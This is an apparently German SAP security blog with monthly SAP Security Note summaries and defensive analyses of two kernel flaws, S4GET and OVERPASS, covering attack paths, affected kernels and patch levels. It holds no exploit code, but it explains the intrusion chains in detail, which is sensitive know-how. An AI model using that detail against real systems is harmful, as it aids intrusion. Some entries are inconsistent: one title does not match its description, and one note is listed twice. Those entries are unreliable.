werth | SAP Security Inside – Expert insights for in-depth examinations and a robust cybersecurity.

13. Oktober 202613. Oktober 2026

Aktuelle Patches

Top 10 der SAP Security Notes für Oktober 2026.

1. Score 9.9 (Hot News)

Nummer: 3805589

[CVE-2026-89107] Code-Injection-Schwachstelle in SAP S/4HANA (Substitutions-/Validierungsregeln verwalten)

Da SAP S/4HANA bei der Verwaltung von Substitutions- und Validierungsregeln die über eine domänenspezifische Skriptsprache eingegebenen Daten unzureichend prüft, besteht ein erhebliches Sicherheitsrisiko. Angreifer mit gültiger Authentifizierung und bestimmten geschäftlichen Berechtigungen können speziell präparierte Payloads übermitteln, welche die Regelverarbeitungslogik fälschlicherweise als ausführbaren ABAP-Code interpretiert. Gelingt dieser Exploit, lässt sich beliebiger Code im System zur Ausführung bringen, was die vollständige Übernahme der Anlage zur Folge hat und die Schutzziele Vertraulichkeit, Integrität sowie Verfügbarkeit massiv gefährdet.

2. Score 9.9 (Hot News)

Nummer: 3797111

[CVE-2026-27690] HTTP Request Smuggling in SAP Approuter

In spezifischen Portalfunktionen des SAP NetWeaver Visual Composer unterbleiben notwendige und ausreichende Überprüfungen von Berechtigungen. Auf diese Weise ist es möglich, dass Angreifer mit minimalen Privilegien interne Befehle auf einem voreingestellten Remotesystem triggern. Je nach genauer Ausgestaltung der Remoteverbindung droht dadurch die vollständige Übernahme dieses angeschlossenen Systems, was schwerwiegende Konsequenzen für die Vertraulichkeit, Integrität und Verfügbarkeit nach sich zieht.

3. Score 9.1 (Hot news)

Nummer: 3798788

[CVE-2026-89108] Fehlende Berechtigungsprüfung in SAP Manufacturing Integration and Intelligence (Konfigurationsservice)

Wegen unzureichender Durchsetzung von Berechtigungsgrenzen in bestimmten administrativen Funktionen von SAP Manufacturing Integration and Intelligence besteht ein Sicherheitsrisiko. Wer über SAP-MII-Administratorrechte verfügt, kann durch das Senden eines präparierten Requests auf dem basierenden Java-Anwendungsserver ein Konto mit erweiterten Privilegien anlegen. Durch die erfolgreiche Ausnutzung dieses Fehlers lässt sich die administrative Herrschaft über das unterliegende System erlangen, wodurch der Schaden weit über die betroffene Applikation hinausreicht und die Schutzziele Vertraulichkeit, Integrität sowie Verfügbarkeit massiv beeinträchtigt werden.

4. Score 8.8 (Hot News)

Nummer: 3800517

[CVE-2026-89113] SQL-Injection-Schwachstelle in SAP Commerce Cloud (vordefinierter Code)

In der SAP Commerce Cloud fehlt eine ordnungsgemäße Validierung bestimmter Benutzereingaben, bevor diese in Datenbankabfragen einfließen. Angemeldete Nutzer sind dadurch in der Lage, durch gezielt präparierte Requests SQL-Befehle einzuschleusen. Bei erfolgreichem Ausnutzen dieser Lücke lassen sich vertrauliche Informationen aus der Anwendungsdatenbank auslesen, manipulieren oder löschen, was schwerwiegende Folgen für die Vertraulichkeit, Integrität und Verfügbarkeit der Software nach sich zieht.

5. Score 7.5 (Medium Priority)

Nummer: 3765424

[CVE-2026-58249] Speicherschadenschwachstelle in SAP NetWeaver und SAP Web Dispatcher (Internet Communication Manager)

Bei der Verarbeitung spezieller Requests durch eine interne Protokollkomponente unterlassen SAP NetWeaver und der SAP Web Dispatcher eine korrekte Validierung bestimmter Felder. Ohne vorherige Authentifizierung besteht für Angreifer die Möglichkeit, durch das Übermitteln eines manipulierten Requests einen Speicherfehler zu provozieren, welcher den jeweiligen Prozess zum Erliegen bringt. Folglich kann diese Schwachstelle die Verfügbarkeit der betroffenen Applikation stark beeinträchtigen, während die Vertraulichkeit und Integrität unbeschadet bleiben.

6. Score 7.1 (Medium Priority)

Nummer: 3626303

[CVE-2026-89120] Fehlende Berechtigungsprüfung in ABAP-Plattform

Aufgrund einer API-Modifikation in der ABAP-Plattform ist eine Regression aufgetreten, wodurch ein bereits geschlossenes Autorisierungsleck reaktiviert wurde. Der Session Manager lässt sich infolgedessen im Einzeltransaktionsmodus aufrufen, was gleichermaßen für das SAP Fiori Launchpad gilt. Nutzen Angreifer mit minimalen Privilegien diese Schwachstelle aus, können sie mithilfe gezielter Requests bestehende Restriktionen aushebeln. Während die Integrität dadurch massiv Schaden nimmt und die Vertraulichkeit in geringem Maße betroffen ist, bleibt die Verfügbarkeit gänzlich unbeeinträchtigt.

7. Score 6.5 (Medium Priority)

Nummer: 3798823

[CVE-2026-76972] Cross-Site-Scripting-Schwachstelle (XSS) in SAP Manufacturing Integration and Intelligence

Durch eine Cross-Site-Scripting-Schwachstelle (XSS) innerhalb von SAP Manufacturing Integration and Intelligence besteht für Angreifer die Möglichkeit, schädliche Daten abzuspeichern, die die Applikation in der Folge darstellt. Sobald ein angemeldetes Opfer eine Webseite aufruft, welche diese präparierten Inhalte lädt, wird der eingeschleuste Code beim Aufbau der Seite verarbeitet und im Browserkontext des Betroffenen ausgeführt. Dies verschafft dem Angreifer unter Umständen Zugriff auf Informationen im Browserbereich des Opfers oder erlaubt ihm Modifikationen daran. Eine erfolgreiche Ausnutzung kann somit den Zugriff auf Sitzungsdaten ermöglichen, die angezeigten Seiteninhalte manipulieren und die Nutzung der Software durch den Anwender stören, wobei die Auswirkungen auf Vertraulichkeit, Integrität und Verfügbarkeit jeweils gering ausfallen.

8. Score 6.4 (Medium Priority)

Nummer: 3689080

[CVE-2026-24316] Server-Side Request Forgery (SSRF) in SAP NetWeaver Application Server für ABAP

Für Testzwecke enthält der SAP NetWeaver Application Server für ABAP einen ABAP-Report, über den sich HTTP-Requests an beliebige interne beziehungsweise externe Ziele abschicken lassen. Aus diesem Grund weist der Report eine Anfälligkeit für Server-Side Request Forgery (SSRF) auf. Wird diese Schwachstelle erfolgreich ausgenutzt, kann dies zu einer Kommunikation mit möglicherweise kritischen internen Endpunkten führen, was schwache Konsequenzen für die Vertraulichkeit und Integrität der Daten nach sich zieht. Auf die Verfügbarkeit der Software hat dies keinerlei Auswirkungen.

v16 (aktuelle Version) – UPDATE 13. Oktober 2026: Der vorliegende Hinweis wurde zusammen mit aktualisierten Details zu den Korrekturanleitungen nochmals freigegeben. Genauer gesagt erstreckt sich die Gültigkeit der Korrekturanleitung für Release 8.16 nun nicht mehr ausschließlich auf den Beginn ab Support Package 01, sondern schließt gleichermaßen Support Package 00 ein.
v11 (Vorgängerversion) – UPDATE 24. März 2026: Dieser Hinweis wurde ebenfalls mit aktualisierten Informationen zu den Korrekturanleitungen neu veröffentlicht. Dabei wurde die Reichweite der Korrekturanleitung für Release 7.58 über den Start ab SP01 hinaus erweitert, sodass nun auch SP00 abgedeckt ist.
v6 (Initialversion für Kunden freigegeben)

9. Score 6.1 (Medium Priority)

Nummer: 3790401

[CVE-2026-89122] Open-Redirect-Schwachstelle in SAP NetWeaver Enterprise Portal

In einer spezifischen Portalkomponente des SAP NetWeaver Enterprise Portal findet keine hinreichende Validierung von Eingaben statt. Ohne vorherige Authentifizierung besteht für Angreifer die Option, einen manipulierten Link zu generieren: Klickt ein Opfer darauf, lädt die Anwendung vom Angreifer kontrollierte Inhalte im geschützten, vertrauenswürdigen Kontext. Gelingt dieser Angriff, lassen sich Benutzerdaten nachverfolgen und Ausschnitte der angezeigten Seite manipulieren. Dies zieht minimale Schäden hinsichtlich der Vertraulichkeit und Integrität nach sich, während die Verfügbarkeit gänzlich unangetastet bleibt.

10. Score 6.1 (Medium Priority)

Nummer: 3790401

[CVE-2026-89122] Open-Redirect-Schwachstelle in SAP NetWeaver Enterprise Portal

Wegen unzureichender Eingabevalidierung für eine spezifische Portalkomponente im SAP NetWeaver Enterprise Portal existiert eine Sicherheitslücke. Angreifer ohne Authentifizierung haben die Möglichkeit, einen schädlichen Link zu präparieren: Betätigt ein Opfer diesen, werden vom Angreifer kontrollierte Inhalte im geschützten, vertrauenswürdigen Kontext der Anwendung geladen. Gelingt die Ausnutzung, lassen sich User-Informationen ausspähen sowie Ausschnitte der dargestellten Seite manipulieren. Dies führt zu geringen Beeinträchtigungen der Vertraulichkeit und Integrität, während die Verfügbarkeit vollkommen unberührt bleibt.

>> Weitere Security Notes https://me.sap.com/securitynotes

Das regelmäßige Einspielen von Security-Patches ist aus drei Gründen unverzichtbar:

Schutz vor Totalausfall & Sabotage: Wie die aktuellen Meldungen zu Denial-of-Service (DoS) zeigen, können Angreifer Systeme gezielt lahmlegen. Ohne Patches riskieren Unternehmen kostspielige Stillstände der gesamten Produktion oder des Vertriebs.
Prävention von Datendiebstahl: Schwachstellen wie SQL-Injections oder XML-Manipulationen sind offene Türen für Industriespionage. Einmal im System, können Angreifer unbemerkt sensible Geschäftsgeheimnisse oder Kundendaten absaugen.
Compliance & Haftung: Gesetzliche Anforderungen (wie die DSGVO) und interne Audits fordern ein angemessenes Sicherheitsniveau. Wer bekannte Lücken offen lässt, handelt grob fahrlässig und riskiert nicht nur Bußgelder, sondern auch einen massiven Reputationsverlust.

16. September 202614. September 2026

S4GET (CVE-2026-58240): Der Message-Server-Port, den ihr immer freigelassen habt, ist jetzt die Angriffsfläche

Der Port, der immer offen sein muss

Im SAP-Cluster ist der Message Server der Broker: Er trackt, welche Application Server laufen, und routet die SAP-GUI-Logon-Anfragen an den nächsten freien Workprocess. Damit jeder GUI-Client loslegen kann, ohne zuerst einen konkreten Application Server zu kennen, lauscht der Message Server auf einem bekannten öffentlichen Port – in der Port-Welt 36NN.

Genau dieser Port ist jetzt das Problem. CVE-2026-58240, von Onapsis Research Labs S4GET benannt, ist eine Pre-Authentication-Schwachstelle in der Message-Server-Logik mit CVSS 9.8. Der Angriff erfordert kein Zertifikat, keine Credentials und keine Vorkonfiguration. Ein crafted Packet auf den öffentlichen Message-Server-Port genügt.

Warum das anders ist als jede bisherige Message-Server-Schwachstelle: Der öffentliche Port muss erreichbar bleiben – er ist der Weg, über den jeder Enduser-Logon läuft. Ihn per Firewall zu schließen, bricht den SAP-GUI-Logon. Es gibt hier keinen Architektur-Hebel, der den Angriff ohne Funktionsverlust abschneidet.

Was genau kaputt ist

S4GET ist ein Logic-Flaw im Kernel, keine Misskonfiguration. Die Mechanik in zwei Schritten:

Trust-Promotion: Der Message Server hält eine Definition davon, welche Hosts als „intern“ gelten. S4GET erlaubt es einem unauthentifizierten Angreifer, über ein crafted Packet auf den öffentlichen Port einen IP-Host als vertrauenswürdig zu deklarieren. Der Message Server akzeptiert den Claim und propagiert das Vertrauen auf alle Application Server im Cluster.
Nutzung über den Gateway: Der Gateway (RFC-Eingangspunkt jeder App-Server-Instanz, 33xx) entscheidet, wem er traut, anhand genau dieser intern/extern-Klassifizierung. Die Gateway-ACLs – secinfo und reginfo – definieren, welche Hosts RFC-Server registrieren oder RFC-callable externe Programme aufrufen dürfen, aber sie unterscheiden intern von extern über das, was der Message Server sagt. Vom als „intern“ markierten IP-Host aus verbindet sich der Angreifer zum Gateway, wird als intern akzeptiert und ruft RFC-callable externe Programme auf. Ergebnis: RCE als <sid>adm auf jedem Application Server im Cluster – mit legitimen SAP-Funktionalitäten, ohne je eine Schwachstelle im Gateway selbst zu berühren.

Wichtig für die Beurteilung: Keine der Standard-ACLs liegt auf diesem Pfad. secinfo, reginfo und ms/acl_info werden nicht ausgewertet, weil der Angreifer als internes System eintrifft – und interne Systeme sind exakt die, denen diese Dateien vertrauen. Einziger greifender Kontrollmechanismus: eine separate ACL darüber, welche Hosts eine Verbindung zum externen Port überhaupt öffnen dürfen. Die wird in der Praxis selten gepflegt – und ist Hardening, kein Ersatz für den Patch.

S4GET vs. 10KBLAZE: dieselbe Idee, diesmal die Haustür

Die 2019er-10KBLAZE-Exploits haben dieselbe Grundidee – einen nicht-internen Host zum internen machen und über den Gateway RCE zu fahren. Der Unterschied ist der Weg hinein:

	10KBLAZE (2019)	S4GET (2026)
Root Cause	Misskonfiguration (zu permissive ACL)	Schwachstelle im Code
Betroffener Port	Interner Message-Server-Port (39NN) – nicht zur Exposition gedacht	Öffentlicher Message-Server-Port (36NN) – by design erreichbar
Internet-reichweite	Selten	Selten
LAN-reichweite	Gering (intern-only durch Design)	Hoch (öffentlich durch Design, für jeden GUI-Logon nötig)
Authentifizierung	Zum Disclosure-Zeitpunkt nicht nötig (inzwischen default-secured)	Nicht nötig
Mitigation ohne Funktionsverlust	Direkt (interne ACL nachziehen)	Architektonisch schwer – bricht Enduser-Logon

10KBLAZE war „durch den Hinterhof, den man versehentlich offen gelassen hatte“. S4GET ist „durch die Haustür, die offen sein muss“. Deshalb ist die Betroffenheitsklasse bei S4GET fundamental größer.

Wer ist betroffen – der Kernel, nicht die Release

Die betroffene Komponente ist der Kernel, und zwar die 9.x-Kernel-Familie – die Kernel, auf denen S/4HANA und S/4HANA Cloud Private Edition laufen, potenziell auch andere ABAP-basierte Produkte. Zwei Fallstricke bei der Inventur:

Die Release-Version sagt nichts. Ein S/4HANA-2023-System kann einen 9.16-Kernel laufen haben – die betroffenen 9.x-Kernel sind als Upgrade für frühere Releases verfügbar, und viele Landschaften haben sie bereits.
Nicht nur S/4HANA. Der Kernel ist Shared Infrastructure für alle ABAP-Systeme – auch ältere ABAP-Landschaften auf 9.x-Kerneln sind betroffen.

Korrekturlevel gemäß SAP Note 3759472 – darunter gilt als verwundbar:

Kernel	Fix ab Patchlevel
9.16	PL 100
9.18	PL 32
9.19	PL 17
9.20	PL 7

Der Check ist ein einzelner Datenpunkt – Kernel-Release + Patchlevel. Verifizierbar: in SAP GUI über System → Status → Kernel-Information, OS-seitig als <sid>adm mit disp+work -version.

9.16 ist zudem der native Kernel der SAP ABAP Platform 2025 – die Pflicht-Grundlage für S/4HANA 2025 und S/4HANA Cloud Private Edition 2025. Das heißt: Alle frischen 2025er-Landschaften starten mit einem betroffenen Kernel.

Die Erreichbarkeitslogik

Direkte Internet-Exposition des Message-Server-Ports ist glücklicherweise selten. Intern sieht es anders aus: Der öffentliche Port ist durch Design für jeden SAP-GUI-User freigegeben, wird routinemäßig durch die Firewalls vor den SAP-Systemen gelassen und kann nicht geschlossen werden, ohne den Enduser-Logon zu brechen.

Daraus folgt der entscheidende Punkt für die Risikoeinschätzung: Ein LAN-Footprint genügt. Phished-Workstation, kompromittierte Contractor-VPN-Session, exponierter Jump-Host – jeder dieser Wege setzt den Angreifer ins LAN, und von dort ist der Message-Server-Port in den allermeisten Landschaften erreichbar. S4GET macht also auch „saubere“ Systeme ohne Web-Präsenz zu einem relevanten Ziel.

Nach erfolgreichem Exploit gilt das volle Bild: RCE als <sid>adm auf dem gesamten Cluster – Ransomware und Datenzerstörung, Exfiltration, gefälschte Zahlungen, Anlegen privilegierter User. Für SOX-, NIS2-, GDPR-, HIPAA- und PCI-DS-pflichtige Organisationen ist das ein meldepflichtiger Vorfall höchster Schwere.

Was hilft

Patch Note 3759472 – das einzige Mittel, das die Schwachstelle vollständig schließt. Priorisierung:
- Internet-reichweite Systeme zuerst. Wo der Message-Server-Port direkt exponiert ist (Legacy-DMZ, vergessene NAT-Regel, Testsystem), ist die höchste Risikoklasse. Diese Population aktiv auf „leer“ prüfen statt anzunehmen.
- Interne Systeme als Hauptaufwand. Für die meisten Landschaften ist LAN-Reichweite die Norm, nicht die Ausnahme.
External-Port-ACL pflegen (welche Hosts den externen Message-Server-Port erreichen dürfen) – wirksames Hardening, weil es der einzige Control ist, der auf diesem Pfad greift. Kein Ersatz für den Patch.
Monitoring auf anomale Message-Server-Registrierungen im Deployment-Fenster: Ungewohnte „intern“-Klassifizierungen/Registrierungsversuche von Hosts, die im Cluster Inventar nicht vorkommen.

Was nicht hilft: secinfo/reginfo/ms/acl_info nachziehen, SAP-Authorizations oder SoD verstärken, Zertifikate rotieren – keine dieser Instanzen liegt auf dem Angriffspfad, weil der Angreifer als internes System eintrifft.

Exploit-Bewertung: Stand 10.09.2026 keine beobachtete In-the-Wild-Exploitation (vendorseitige Einschätzung Onapsis). Historische Referenz für die Dringlichkeit: RECON (CVE-2020-6287) wurde binnen 72 Stunden aus dem Patch reverse-engineered – und dieses Fenster schrumpft mit KI-gestütztem Tooling.

Das Fazit in einem Satz: S4GET demonstriert, dass die Kontrolle, auf die SAP-Netzwerke seit 10KBLAZE gebaut haben – „intern heißt vertraut“ – durch ein unauthentifiziertes Packet umdefinierbar ist. Und dass der Patch, nicht das ACL-Reporting, der einzige Ausweg ist.

14. September 2026

OVERPASS (CVE-2026-44756): CVSS 10.0 im SAP-Kern – vier Wege rein, und der vierte heißt NGRFC

Die Zahlen zuerst

CVSS 10.0 – die volle Punktzahl. Pre-Authentication, remote, ohne Zertifikat, ohne Rolle, ohne Login-Versuch. Und laut Scan der Onapsis Research Labs stehen mehr als 10.000 eindeutige IP-Adressen mit SAP-Web-Oberfläche direkt im öffentlichen Netz. Die Zahl gilt als konservativ: Sie zählt nur HTTP-reichweite und strukturell unterzählt die SAP Web Dispatcher, die ihr Backend proxifizieren und auf dem Root-Pfad kein SAP-Banner liefern.

SAP hat am 08.09.2026 mit Security Note 3747649 gefixt. Onapsis Research Labs, die die Lücke verantwortungsvoll gemeldet haben, benennen sie OVERPASS. Unabhängig davon hat nullFaktor eine eigene Analyse veröffentlicht – und darin einen vierten Angriffsvektor dokumentiert, den die öffentliche Onapsis-Darstellung nicht abbildet: NGRFC über WebSocket.

Was EPP ist – und warum es der Hebel

Der Extended Passport (EPP) ist eine Standard-Struktur der SAP-Plattform für das Tracing verteilter Aufrufketten. Laut SAP-Dokumentation ermöglicht er die Analyse von Aufrufsequenzen in verteilten Systemlandschaften und das End-to-End-Tracing über integrierte SAP- und Nicht-SAP-Systeme hinweg. Drei Eigenschaften erklären, warum ein Fehler in seiner Verarbeitung so schwer wiegt:

Er wird beim Öffnen einer neuen Benutzersession erstellt. Die Verarbeitung passiert also am allerersten Punkt der Verbindung – bevor die Session authentifiziert ist.
Er wird über Kommunikationsprotokolle transportiert – RFC und HTTP –, und er geht immer von Client zu Server. Die Daten stammen clientseitig, und mehr als ein Protokoll trägt sie.
Zwischen ABAP-Systemen ist er standardmäßig aktiv. Die betroffene Funktionalität ist also ohne jegliche Kundeneinrichtung vorhanden.

Die Ursache von OVERPASS liegt laut nullFaktor-Advisory in einer fehlenden Bounds-Validierung auf extern gelieferte EPP-Metadaten: ein Stack-basiertes Buffer-Overflow im Kernel-Code, der die EPP-Struktur verarbeitet. Der betroffene Stack-Frame trägt keinen Stack-Canary – obwohl das Binary mit Canary-Support kompiliert wurde –, und ein Memory-Leak liefert einen ASLR-Bypass. Das Ergebnis: Kontrolle des Programmlaufs des empfangenden Prozesses und Ausführung beliebiger OS-Befehle als der SAP-OS-User.

Warum kein Login, keine Rolle, keine Berechtigung hilft: Weil die verwundbare Verarbeitung als Teil des Session-Opens stattfindet, ist jede SAP-Instanz, die erst entscheidet, wer was darf – User-Locks, Rollen, Authorization-Objects, Logon-Policies – chronologisch hinter dem Punkt, an dem die Lücke erreicht wird. SAP-Authorizations und Segregation of Duties sind auf diesem Pfad irrelevant.

Vier Vektoren, ein Code

Weil die EPP-Verarbeitung geteilter Kernel-Code ist, ist derselbe Defekt über getrennte Protokolle und Systemkomponenten erreichbar – in jedem Fall ohne Authentifizierung:

HTTP(S) über den ICM – oder über einen SAP Web Dispatcher: die Web-Tier-Ebene, die Fiori, WebGUI, Web Services und API-basierte Integrationen bedient. Genau die Schicht, die Unternehmen typischerweise ins Internet veröffentlichen.
NGRFC über WebSocket auf dem HTTPS-Port – der Vektor, den die meisten nicht auf dem Schirm haben. NGRFC ist das SAP-RFC über WebSocket, das den klassischen RFC-Traffic durch den HTTPS-Port tunnelt. Vor NGRFC war der Dialog-Workprocess ausschließlich über die internen DIAG-Ports (32xx) und den RFC-Gateway-Port (33xx) erreichbar. NGRFC ändert das fundamental: Der Workprocess – der Prozess, der Datenbank-Konnektionen, Credentials und aktive Benutzersessions hält – ist damit erstmals über den Internet-facing HTTPS-Port erreichbar. Wer diesen Port hat, hat den Workprocess.
Classic RFC über den Gateway (33xx): die RFC-Schicht, über die sich SAP-Systeme untereinander – und Drittsystem-Integrationen – mit SAP austauschen.
SAP GUI / DIAG (32xx) über den Dispatcher: der Weg, den jeder klassische GUI-Logon nimmt.

Onapsis bestätigt drei dieser Vektoren (Web, SAP GUI, Classic RFC); den NGRFC-WebSocket-Vektor dokumentiert nullFaktor. Es sind nicht vier Schwachstellen, sondern vier Wege zum selben Defekt. Darum bearbeitet SAP sie mit einem einzigen CVE und einer einzigen Note – und darum reicht keine einzelne Protokolleinschränkung: Web-Tier gehärtet? Über RFC erreichbar. RFC blockiert? Über GUI oder NGRFC erreichbar. Nur der Kernel-Patch schließt alle Wege.

Der WebSocket-Switch ist eine Fassade

Die kontrainuitive Kernfinding: Wer den SAP-Config-Switch für den WebSocket-Support deaktiviert hat, ist nicht geschützt. Die verwundbare Envelope-Parsing läuft vor jeder Logon-Validierung – also vor jeglicher anwendungsebenen Konfigurationslogik. Der Internet-reichweite Port genügt. „WebSocket-Support deaktiviert“ erzeugt ein falsches Sicherheitsgefühl: Die Parsing-Schicht, die angreifbar ist, läuft trotzdem.

Wer ist betroffen

Die Betroffenheit definiert der Kernel – nicht die Anwendung, die oben läuft. Die Fußspur reicht von S/4HANA über ERP/ECC, NetWeaver AS ABAP und Java, BW/4HANA, Enterprise Portal, PI/PO bis Solution Manager. Korrekturlevel gemäß Note 3747649 (v7, 08.09.2026):

Komponente	Fix ab Patchlevel
SAP Kernel 7.22_EXT / EX2 / EX3	1518
SAP Kernel 7.53	1610
SAP Kernel 7.54	646
SAP Kernel 7.77	912
SAP Kernel 7.93	401 (auch 412, höhere Patches enthalten die Korrektur)
SAP Kernel 8.04	242
SAP Kernel 9.16	100
SAP Kernel 9.18	29
SAP Kernel 9.19	14
SAP Kernel 9.20	4
SAP Web Dispatcher 9.16 (Standalone)	100

Sonderfall: SAP Kernel 7.22 (plain) und 7.89 haben kein Fix. Betroffene Systeme müssen per DCK-Upgrade migriert werden (Note 2083594).

Die Release-Version sagt nichts – ein S/4HANA-2023-System kann einen verwundbaren 9.16-Kernel laufen haben. Ablesbar OS-seitig als <sid>adm via disp+work -version, in SAP über System-Status – der Kernel ist der einzige relevante Datenpunkt.

Was nicht hilft – und was tatsächlich hilft

Nicht hilfreich: Firewall-Regeln allein, ACLs, SAP-Authorizations, SoD, User-Locks, Passwort-Policies. Der Code wird vor all dem erreicht.

Tatsächlich wirksam:

Kernel-Patch gemäß Note 3747649 (SP Stack Kernel bzw. dw.sar-Hotfix); EOL-Kernel: DCK-Upgrade.
Web Dispatcher 9.16 patchen (Standalone via SAPWEBDISP.SAR, Note 908097; Embedded über das Kernel-Verfahren).
Temporärer Workaround gemäß Note 3756304 – schützt allerdings nur HTTP(S)-Traffic, der über einen entsprechend gepatchten Web Dispatcher läuft. Kein Schutz für andere Protokolle, kein Schutz vor direkt erreichbaren Application Servern.
Netzwerk-Ebene: WebSocket-Upgrade-Anfragen am RFC-Endpunkt per Firewall auf allen ICM/WDP-Ports blockieren – auch wenn der SAP-Switch deaktiviert ist – und die RFC-Ports 32xx/33xx/36xx auf vertrauenswürdige Quellen einschränken.
Host Agent auf ein aktuelles Patchlevel bringen.
SAP FAQ zu Note 3747649: Note 3776034.

Wie lang ist das Fenster?

Stand 13.09.2026: kein öffentlicher PoC (nullFaktor hält die Primitiven zurück), keine Listung in CISA KEV (Feed-Stand 11.09.2026), keine beobachtete In-the-Wild-Exploitation (vendorseitige Einschätzung Onapsis). Das Fenster existiert – aber die Historie gibt Orientierung: Die RECON-Lücke (CVE-2020-6287) wurde binnen 72 Stunden aus dem Patch reverse-engineered, und dieses Fenster schrumpft mit KI-gestütztem Tooling weiter. Die Mass-Exploitation von CVE-2025-31324 im Frühjahr 2025 hat gezeigt, was passiert, wenn eine kritische Pre-Auth-SAP-Lücke gemonetisiert wird, bevor die Verteidigung Schritt halten kann – Mandiant nannte sie die am häufigsten ausgenutzte Schwachstelle des Jahres. Und die ICMAD-Familie 2022 hat gelehrt, dass Defekte in geteiltem Kernel-Code ein enormes Blast-Radius haben.

OVERPASS ist dasselbe Muster – diesmal in vier Protokollen.

Das Fazit in einem Satz: Ein einzelner Kernel-Patch schließt alle vier Wege. Die offene Frage ist nicht, ob gepatcht wird – sondern welche Systeme und welche Kernel betroffen sind. Und ob die NGRFC/HTTPS-Route in der Exposure-Analyse überhaupt betrachtet wurde.

14. Juli 202614. Juli 2026

Aktuelle Patches

Top 10 der SAP Security Notes für Juli 2026.

1. Score 9.9 (Hot News)

Nummer: 3747367

[CVE-2026-44747] Speicherschadenschwachstelle in SAP NetWeaver Application Server ABAP

Durch eine Schwachstelle im SAP NetWeaver Application Server ABAP können authentifizierte Angreifer logische Fehler im SAP Memory Management gezielt ausnutzen. Dies kann einen Speicherschaden zur Folge haben, der unbefugte Datenzugriffe, Manipulationen oder Systemausfälle ermöglicht. In der Konsequenz sind die Vertraulichkeit, Integrität und Verfügbarkeit der betroffenen Anwendung massiv gefährdet.

2. Score 9.1 (Hot News)

Nummer: 3720138

[CVE-2026-27690] HTTP Request Smuggling in SAP Approuter

Eine HTTP-Request-Smuggling-Schwachstelle im SAP Approuter ermöglicht es unauthentifizierten Angreifern, manipulierte HTTP-Anfragen einzuschleusen. Dies führt zu einer Desynchronisation von Requests und Responses, wodurch vertrauliche Benutzerantworten offengelegt werden oder das System komplett blockiert werden kann. Die Schwachstelle beeinträchtigt somit die Vertraulichkeit und Verfügbarkeit des Systems erheblich.

3. Score 9.1 (Hot news)

Nummer: 3753495

[CVE-2026-44761] Unsichere Beispiel-Credentials in SAP Commerce Cloud

In der SAP Commerce Cloud besteht das Risiko, dass ein Standard-OAuth2-Client aktiv bleibt, dessen Zugangsdaten öffentlich im SAP Help Portal dokumentiert sind. Werden diese Beispiel-Credentials nicht manuell modifiziert, können unauthentifizierte Angreifer problemlos ein gültiges Zugriffstoken generieren. Dadurch erhalten sie unbefugten Lese- und Schreibzugriff auf bestimmte APIs. Ein Missbrauch hat gravierende Folgen für die Vertraulichkeit und Integrität der Daten, lässt die Verfügbarkeit des Systems jedoch unberührt.

4. Score 9.0 (Hot News)

Nummer: 3727078

[CVE-2026-40128] Directory-Traversal-Schwachstelle in SAP NetWeaver Application Server Java (Web-Container)

Über eine Sicherheitslücke im Web-Container des SAP NetWeaver Application Server Java können unauthentifizierte Angreifer manipulierte HTTP-Anmeldeanfragen senden. Durch die Manipulation von Dateieinschlussparametern lässt sich ein Pfadtraversal erzwingen, wodurch das System die eingebundene Datei verarbeitet. Dies ermöglicht es Angreifern, sensible Daten einzusehen, zu verändern oder Teile des lokalen Systems lahmzulegen.

Änderungsverlauf:

v17 (Aktuelle Version – Update vom 14. Juli 2026): Neuveröffentlichung des SAP-Hinweises mit aktualisierten Angaben zu Support Packages & Patches. Die Fehlerbehebung für ENGINEAPI 7.50 wurde auf die Support Packages SP020 bis SP028 ausgeweitet.
v13: Ursprünglich für Kunden freigegebene Erstversion.

5. Score 8.8 (High Priority)

Nummer: 3758101

[CVE-2026-40860] Mehrere Schwachstellen in Apache Camel innerhalb von SAP Integration Suite (Edge Integration Cell)

CVE-2026-40860 – Unsichere Deserialisierung von JMS ObjectMessage in camel-jms, camel-sjms, camel-sjms2 und camel-amqp (CVSS 8.8)

Die Komponenten zur Nachrichtenbindung in Apache Camel wandeln eingehende Daten ohne ausreichende Sicherheitsfilter oder Whitelists in Java-Objekte um. Angreifer, die Zugriff auf den Message Broker besitzen, können durch gezielt manipulierte Nachrichten eine Remotecodeausführung (RCE) erzwingen. Dies gefährdet die Vertraulichkeit, Integrität und Verfügbarkeit des Gesamtsystems massiv.

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE-2026-40453 – Unvollständiger Patch für CVE-2025-27636 in non-HTTP HeaderFilterStrategies ermöglicht Header-Injection durch Groß-/Kleinschreibung (CVSS 8.5)

Da die Header-Filtermechanismen von Apache Camel auf eine strikte Groß-/Kleinschreibung prüfen, lässt sich die Filterung durch das Einschleusen von internen Headern in abweichender Schreibweise umgehen. Angreifer mit Zugriff auf den Message Broker können dadurch Remotecode ausführen und unbefugt Daten auf nachgelagerten Systemen schreiben. Die Vertraulichkeit, Integrität und Verfügbarkeit der Anwendung sind hierdurch stark beeinträchtigt.

Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE-2026-33454 – Fehlender Inbound Header Filter in MailHeaderFilterStrategy ermöglicht RCE via MIME-Header-Injection (CVSS 7.7)

Eingehende MIME-Header mit Camel-Präfix werden von der Mail-Komponente in Apache Camel nicht gefiltert. Angreifer können über präparierte E-Mails schädliche Header einschleusen, um nachgeschaltete Routen zu manipulieren und verwundbare Systemkomponenten zu kompromittieren. Dies hat gravierende Folgen für die Vertraulichkeit und Integrität der Daten, während das Risiko für die Verfügbarkeit der Anwendung als gering eingestuft wird.

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

6. Score 8.4 (High Priority)

Nummer: 3692165

[CVE-2026-0487] DLL-Hijacking-Schwachstelle in SAProuter unter Microsoft Windows

Unter Microsoft Windows ist der SAProuter anfällig für das Nachladen nicht vertrauenswürdiger Dynamic-Link-Library-Dateien (DLLs) durch nicht authentifizierte Angreifer. Dies ermöglicht es Dritten, den regulären DLL-Ladeprozess zu kapern („DLL Hijacking“) und schädlichen, beliebigen Code direkt auf dem System auszuführen. Ein solcher Angriff hat gravierende Konsequenzen für die Vertraulichkeit, Integrität und Verfügbarkeit des gesamten Systems.

7. Score 8.2 (Medium Priority)

Nummer: 3748227

[CVE-2026-44752] Cross-Site-Scripting-Schwachstelle (XSS) in SAP NetWeaver Application Server Java (Konfigurationsassistent)

